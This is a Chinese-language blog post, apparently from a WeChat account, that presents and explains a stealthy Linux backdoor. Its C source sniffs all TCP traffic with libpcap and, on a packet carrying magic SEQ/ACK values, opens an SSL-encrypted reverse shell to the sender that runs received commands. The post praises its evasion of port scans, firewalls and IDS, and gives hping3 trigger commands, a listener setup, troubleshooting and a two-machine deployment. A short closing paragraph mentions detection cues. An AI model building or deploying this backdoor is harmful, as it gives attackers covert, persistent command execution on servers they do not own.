想象这样一个场景:你的服务器已经被植入了一个后门,但你用 netstat -tlnp 却完全看不到任何可疑的监听端口。防火墙规则也没被篡改,进程列表里也没有异常服务在跑。那这个后门到底藏在哪?
答案就藏在每天成千上万经过网卡的数据包里。
这套机制本质上是一个**"守株待兔"式的被动触发后门**。它不在系统上监听任何端口,而是直接嗅探网卡上的所有TCP流量,像门卫检查通行证一样,逐个查看数据包的"序列号(SEQ)"和"确认应答号(ACK)"字段。一旦某个包里的这两个数字恰好对上了预设的暗号------比如十六进制的 0xdead 和 0xbeef------后门就会瞬间激活,主动向发送这个"暗号包"的人发起一条SSL加密的反向连接,并把服务器的Shell交出去。
整个过程,被防火墙挡在外面的攻击者,变成了被服务器主动"追求"的对象。
一、为什么要这么设计?思路比代码更重要
搞网络安全的人都懂一个道理:最好的后门不是功能最强的,而是最难被发现的。 这套机制的设计思路,处处都体现了"隐蔽"二字:
1. 不监听端口,就抓不住把柄
传统后门要么绑定一个端口等着连,要么定期往外连。前者在 netstat 里一抓一个准,后者容易被流量分析发现。而这个程序直接调用 libpcap 在数据链路层抓包,根本不需要打开任何TCP/UDP端口。系统管理员就算把端口扫描个遍,也找不到它。
2. 把SEQ/ACK当暗号,大隐隐于市
TCP协议里,每个包都带SEQ和ACK,这是协议正常字段,不是载荷数据,不会触发内容检测。把暗号藏在这里,就像把密码写在了快递单号上------路过的人只会觉得这是正常的网络通信,根本不会多看一眼。
3. 反向连接,专治防火墙"只出不进"
很多企业内网的防火墙策略是"允许出站,限制入站"。正向连接( bind端口等别人连)经常被挡,但反向连接(主动连出去)往往畅通无阻。服务器主动找攻击者,完美绕过了这道坎。
4. SSL加密,让流量看起来像正常HTTPS
连接建立后全程走SSL,通信内容被加密。IDS/IPS就算抓到了这段流量,看到的也是一堆密文,很难判断这是Shell交互还是普通的HTTPS业务请求。
二、代码实现原理:从抓包到拿Shell的全过程
c
...
void print_app_usage(const char *app_name)
{
printf("Usage: %s [interface]\n", app_name);
printf("Options:\n");
printf(" interface Listen on <interface> for packets.\n");
}
SSL_CTX *InitCTX(void)
{
const SSL_METHOD *method;
SSL_CTX *ctx;
SSL_library_init();
OpenSSL_add_all_algorithms();
SSL_load_error_strings();
method = SSLv3_client_method();
ctx = SSL_CTX_new(method);
if (ctx == NULL) {
ERR_print_errors_fp(stderr);
abort();
}
return ctx;
}
void backconnect(struct in_addr addr, u_short port)
{
struct sockaddr_in sockaddr;
int sock;
FILE *fd;
char *newline;
char buf[1028];
SSL_CTX *ctx;
SSL *ssl;
ctx = InitCTX();
sockaddr.sin_family = AF_INET;
sockaddr.sin_port = port;
sockaddr.sin_addr = addr;
sock = socket(AF_INET, SOCK_STREAM, 0);
if (connect(sock, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) == 0) {
ssl = SSL_new(ctx);
SSL_set_fd(ssl,sock);
sock = SSL_get_fd(ssl);
if (SSL_connect(ssl) == -1) {
ERR_print_errors_fp(stderr);
} else {
while (SSL_read(ssl,buf,sizeof(buf)-1) > 0) {
newline = strchr(buf,'\n');
*newline = '\0';
fd = popen(buf,"r");
while(fgets(buf,sizeof(buf)-1,fd) > 0) {
SSL_write(ssl,buf,strlen(buf));
}
pclose(fd);
}
close(sock);
SSL_CTX_free(ctx);
}
}
}
void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
const struct sniff_ip *ip;
const struct sniff_tcp *tcp;
int size_ip;
int size_tcp;
unsigned int r_ack;
unsigned int r_seq;
ip = (struct sniff_ip*)(packet + SIZE_ETHERNET);
size_ip = IP_HL(ip)*4;
if (size_ip < 20) {
DEBUG("* Invalid IP header length\n");
return;
}
switch(ip->ip_p) {
case IPPROTO_TCP:
break;
default:
return;
}
tcp = (struct sniff_tcp*)(packet + SIZE_ETHERNET + size_ip);
size_tcp = TH_OFF(tcp)*4;
if (size_tcp < 20) {
DEBUG("* Invalid TCP header length\n");
return;
}
r_ack = ntohl(tcp->th_ack);
r_seq = ntohl(tcp->th_seq);
if (r_ack == MAGIC_ACK && r_seq == MAGIC_SEQ) {
DEBUG("magic packet received\n");
backconnect(ip->ip_src, tcp->th_sport);
}
}
int main(int argc, char *argv[])
{
...
if (argc == 2) {
dev = argv[1];
}
else if (argc > 2) {
fprintf(stderr, "error: unrecognized command-line options\n\n");
print_app_usage(argv[0]);
exit(EXIT_FAILURE);
} else {
dev = pcap_lookupdev(errbuf);
if (dev == NULL) {
DEBUG( "Couldn't find default device: %s\n", errbuf);
exit(EXIT_FAILURE);
}
}
if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {
DEBUG("Couldn't get netmask for device %s: %s\n", dev, errbuf);
net = 0;
mask = 0;
}
DEBUG("Device: %s\n", dev);
DEBUG("Filter expression: %s\n", filter_exp);
handle = pcap_open_live(dev, MAX_CAP, 1, 1000, errbuf);
if (handle == NULL) {
DEBUG("Couldn't open device %s: %s\n", dev, errbuf);
exit(EXIT_FAILURE);
}
if (pcap_datalink(handle) != DLT_EN10MB) {
DEBUG("%s is not an Ethernet\n", dev);
exit(EXIT_FAILURE);
}
if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) {
DEBUG("Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle));
exit(EXIT_FAILURE);
}
if (pcap_setfilter(handle, &fp) == -1) {
DEBUG("Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle));
exit(EXIT_FAILURE);
}
pcap_loop(handle, num_packets, got_packet, NULL);
pcap_freecode(&fp);
pcap_close(handle);
return 0;
}
If you need the complete source code, please add the WeChat number (c17865354792)
别看代码不长,它其实干了好几件专业的事。我把整个流程拆成五段,用大白话给你讲清楚。
第一步:架起"望远镜"------初始化抓包
程序先用 pcap_lookupdev 找到默认网卡,然后用 pcap_open_live 把网卡设为混杂模式。这意味着网卡会把所有经过的帧都交给程序,而不仅仅是发给本机的包。
接着用BPF过滤器设置只抓TCP包,减少不必要的数据处理。
第二步:拆快递------逐层解析协议头
抓到一个包后,程序像剥洋葱一样一层层拆:
原始帧 → 以太网头(14字节) → IP头 → TCP头
代码里定义了 sniff_ip 和 sniff_tcp 结构体,直接通过指针偏移定位到TCP头。这里要注意两个细节:
- 字节序转换 :网络传输是大端序,所以用
ntohl()把SEQ/ACK转成本机字节序才能比较。 - 头长度计算:IP头长度字段存的是"4字节字数",所以要乘以4;TCP同理。
第三步:对暗号------检查SEQ和ACK
这是整个程序的"扳机":
c
if (r_ack == MAGIC_ACK && r_seq == MAGIC_SEQ) {
// 暗号对上了,开始干活
backconnect(ip->ip_src, tcp->th_sport);
}
一旦匹配成功,程序就从"静默监听"状态切换到"行动状态"。
第四步:主动出击------建立SSL反向连接
backconnect 函数是核心动作:
- 用
socket()创建一个普通TCP套接字 - 目标地址是刚才那个"暗号包"的源IP ,端口是源端口
- 用OpenSSL把普通TCP包装成SSL连接(
SSL_connect) - 如果SSL握手成功,就进入命令交互循环
这里有个细节:攻击者需要提前在本地用类似 nc -l -p 5000 --ssl 的命令等着,服务器才会连上来。
第五步:交互循环------读命令、执行、回传
连接建立后,程序进入一个简单粗暴的循环:
- 用
SSL_read读取攻击者发来的命令 - 用
popen执行命令(相当于在服务器上跑系统命令) - 用
fgets读取命令输出 - 用
SSL_write把结果加密传回去
这就是一个远程交互式Shell的标准套路,只不过所有流量都套了一层SSL的壳。
三、整个流程的原理图
用一张图概括从攻击者发包到拿到Shell的全过程:
攻击者机器 被控服务器
| |
| 构造特殊TCP包 |
| SEQ=0xdead, ACK=0xbeef |
| 源端口: 5000 |
|------------------------------------------->|
| [libpcap捕获所有TCP流量] |
| [解析以太网→IP→TCP头] |
| [比对SEQ/ACK暗号] |
| [暗号匹配! 触发回连] |
| |
|<<-------------------------------------------|
| 服务器主动连接攻击者:5000 |
| [SSL握手建立加密通道] |
| |
|<<========= 加密命令: "whoami" ==============>|
| |
|========== 加密回传: "root" ================>|
| |
|<<========= 加密命令: "cat /etc/passwd" =====>|
| |
|========== 加密回传: 文件内容 ===============>|
四、这套机制涉及的知识领域
别看代码只有几百行,它横跨了好几个专业领域。搞懂它,相当于把下面这些知识点串成了一条线:
| 领域 | 涉及的具体知识 |
|---|---|
| 网络编程 | libpcap抓包、原始套接字、BPF过滤表达式、混杂模式 |
| TCP/IP协议栈 | 以太网帧结构、IP头字段、TCP头格式、字节序(大端/小端)、头长度计算 |
| 网络安全与渗透测试 | 后门设计、隐蔽通信、端口敲门(Port Knocking)的变种思路、防火墙绕过 |
| 密码学与安全通信 | OpenSSL编程、SSL/TLS握手、加密通道建立、证书与上下文(CTX)管理 |
| 操作系统与进程 | popen管道、fork/exec隐式调用、文件描述符复用 |
| 逆向与取证 | 无端口后门的检测难点、基于网络流量的异常行为分析 |
五、一些值得琢磨的细节
为什么用 0xdead 和 0xbeef?
这其实是程序员圈子的"彩蛋"式写法。deadbeef 在十六进制里读起来顺口,又带点黑色幽默(死牛肉),常被用来当调试时的魔数。实际用的时候,你完全可以改成任意32位数字,越普通越好,比如改成类似正常TCP连接的随机数,隐蔽性更强。
SEQ和ACK是每个TCP包都有的吗?
是的。只要是个TCP包,不管里面有没有数据,头部都会带这两个32位字段。这意味着你可以把暗号藏在SYN包、ACK包、甚至RST包里,触发方式非常灵活。
如果服务器在内网,NAT怎么办?
这是个好问题。如果服务器在NAT后面,反向连接通常能成功,因为NAT设备会维护出站连接的映射表。但如果攻击者也在NAT后面,就需要额外的跳板或端口映射。所以实际场景中,攻击者往往放在有公网IP的VPS上。
六、开始测试(开三个终端)
下面演示单机自测 (三个终端都在同一台机器,走后环网卡 lo)。如果是两台机器测试,把 127.0.0.1 换成实际 IP,网卡 lo 换成 eth0 即可。
终端 1:启动 SSL 接收端
bash
python3 /mnt/agents/output/ssl_server.py
你会看到:
[*] 等待被控端反向连接 0.0.0.0:5000 ...
终端 2:启动后门(必须 root)
bash
sudo ./seqack lo
lo 是回环网卡。如果不指定,它会自动找默认网卡。程序启动后不会有输出(因为 DEBUG 宏默认输出到 stderr,而代码里 DEBUG 只在有宏定义时生效,实际运行是静默抓包)。
终端 3:发送"暗号包"触发(必须 root)
bash
sudo hping3 -M 0xdead -L 0xbeef 127.0.0.1 -s 5000 -c 1 -p 12345
参数含义:
-M 0xdead:把 TCP 序列号(SEQ)设为暗号0xdead-L 0xbeef:把确认号(ACK)设为暗号0xbeef-s 5000:源端口,后门收到后会反向连接这个端口(也就是我们的 Python 服务端端口)-p 12345:目标端口,随便填,因为后门是在网卡层面抓包,不 care 这个端口有没有服务
观察效果
如果一切顺利,终端 1 会立刻显示:
[+] 连接来自: ('127.0.0.1', xxxxx)
[回显] root
shell>
这时候你在 shell> 后面输入命令(比如 id、uname -a、ls /tmp),被控端就会执行并通过 SSL 加密通道回传结果。
常见问题排雷
| 现象 | 原因 | 解决 |
|---|---|---|
编译报错 undefined reference to SSLv3_client_method |
OpenSSL 太新,不支持 SSLv3 | 按第二步改成 TLS_client_method() |
sudo ./seqack 提示找不到设备 |
没指定网卡且自动查找失败 | 手动指定,如 sudo ./seqack eth0 或 lo |
| 终端 1 一直没反应 | hping3 的包没经过 seqack 抓包的网卡 | 确认 IP 和网卡对应;单机测试务必用 lo |
| SSL 握手失败/连接被拒绝 | Python 脚本没启动、防火墙挡了、或者证书不匹配 | 检查 5000 端口是否在监听;证书文件是否在同级目录 |
| 中文乱码或显示异常 | 终端编码问题 | 不影响功能,只是显示问题 |
两台机器的真实网络测试
如果你有两台虚拟机/主机:
-
被控机(比如 192.168.1.10):
bashsudo ./seqack eth0 -
攻击机(比如 192.168.1.20):
-
先跑 Python SSL 服务端等连接
-
再发暗号包:
bashsudo hping3 -M 0xdead -L 0xbeef 192.168.1.10 -s 5000 -c 1 -p 80
-
-
被控机收到暗号后,会主动连回 192.168.1.20:5000,SSL 隧道建立,Shell 到手。
总结
这套机制最精彩的地方,不在于它用了多高深的算法,而在于它把几个基础技术组合出了新的隐蔽维度:用协议固有字段当信号、用抓包代替监听、用反向连接绕过边界、用SSL掩盖意图。
它提醒我们,网络安全攻防从来不是单纯比谁的代码写得复杂,而是比谁更懂协议的每一个角落,更懂系统行为的每一个细节。那些你以为"只是正常协议字段"的地方,往往就是对手藏暗号的地方。
对于防守方来说,检测这类后门的关键不在于看端口,而在于看行为------为什么这台服务器会主动向一个外部IP发起SSL连接?为什么网卡持续处于混杂模式?这些异常,才是暴露它的蛛丝马迹。
Welcome to follow WeChat official account【程序猿编码】